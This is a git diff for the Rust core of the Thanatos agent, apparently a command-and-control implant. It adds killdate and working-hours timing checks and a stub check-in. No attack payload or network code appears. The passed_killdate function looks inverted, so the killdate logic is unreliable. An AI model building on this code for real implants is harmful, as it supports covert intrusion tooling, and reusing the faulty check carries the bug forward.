Modify agent initialization

Payload_Type/thanatos/agent/thanatos/core/src/agent/mod.rs

@@ -1,2 +1,13 @@
+use thanatos_protos::config::Config;
 
+use crate::errors;
 
+pub struct Agent {}
+
+impl Agent {
+ pub fn perform_checkin(agent_config: Config) -> Result<Agent, errors::ThanatosError> {
+ Ok(Agent {})
+ }
+
+ pub fn run(self) {}
+}

Payload_Type/thanatos/agent/thanatos/core/src/lib.rs

@@ -1,13 +1,19 @@
 #![forbid(unsafe_code)]
 
+use agent::Agent;
+use chrono::{DateTime, TimeDelta};
+use profiles::C2ProfileHandler;
 use prost::Message;
 use thanatos_protos::config::{config::Profile, Config, InitAction};
+use timecheck::{check_working_hours, passed_killdate};
 
+mod agent;
 mod crypto;
 mod errors;
 mod guardrails;
 mod logging;
 mod system;
+mod timecheck;
 
 pub fn entrypoint(config: &[u8]) {
  let agent_config = match thanatos_protos::config::Config::decode(config) {
@@ -22,15 +28,8 @@ pub fn entrypoint(config: &[u8]) {
  return;
  }
 
- let t = system::time::epoch_timestamp();
- let http_active = if let Some(Profile::Http(profile)) = agent_config.profile.as_ref() {
- profile.killdate <= t
- } else {
- false
- };
-
- if !http_active {
- log!("All profiles are past their killdates");
+ if !profiles_available(&agent_config) {
+ log!("All profiles have passed their killdates");
  return;
  }
 
@@ -59,8 +58,36 @@ pub fn entrypoint(config: &[u8]) {
 }
 
 fn run_agent(agent_config: Config) {
- if let Some(working_hours) = agent_config.working_hours.as_ref() {}
- std::thread::scope(|_scope| {
- todo!();
- });
+ if let Some(working_hours) = agent_config.working_hours.as_ref() {
+ let start_time = TimeDelta::minutes(working_hours.start.into());
+ let end_time = TimeDelta::minutes(working_hours.end.into());
+ if let Some(Ok(sleep_delta)) = check_working_hours(start_time, end_time).map(|v| v.to_std())
+ {
+ std::thread::sleep(sleep_delta);
+ if !profiles_available(&agent_config) {
+ log!("All profiles have passed their killdates");
+ return;
+ }
+ }
+ }
+
+ if let Ok(agent_instance) = Agent::perform_checkin(agent_config) {
+ agent_instance.run();
+ }
+}
+
+fn profiles_available(agent_config: &Config) -> bool {
+ let http_active = if let Some(Profile::Http(profile)) = agent_config.profile.as_ref() {
+ DateTime::from_timestamp(profile.killdate as i64, 0)
+ .map(|killdate| !passed_killdate(killdate))
+ .unwrap_or(false)
+ } else {
+ false
+ };
+
+ if !http_active {
+ false
+ } else {
+ true
+ }
 }

Payload_Type/thanatos/agent/thanatos/core/src/system/mod.rs

@@ -1,5 +1,4 @@
 pub mod os;
-pub mod time;
 
 #[cfg(target_os = "linux")]
 pub use os::linux::*;

Payload_Type/thanatos/agent/thanatos/core/src/timecheck/mod.rs

@@ -0,0 +1,18 @@
+use chrono::{DateTime, NaiveTime, TimeDelta, Utc};
+
+#[inline]
+pub fn passed_killdate(killdate: DateTime<Utc>) -> bool {
+ killdate >= Utc::now()
+}
+
+pub fn check_working_hours(start_time: TimeDelta, end_time: TimeDelta) -> Option<TimeDelta> {
+ let current_tod = Utc::now().time().signed_duration_since(NaiveTime::MIN);
+
+ if current_tod < start_time {
+ Some(start_time - current_tod)
+ } else if current_tod >= end_time {
+ Some(TimeDelta::days(1) - current_tod + start_time)
+ } else {
+ None
+ }
+}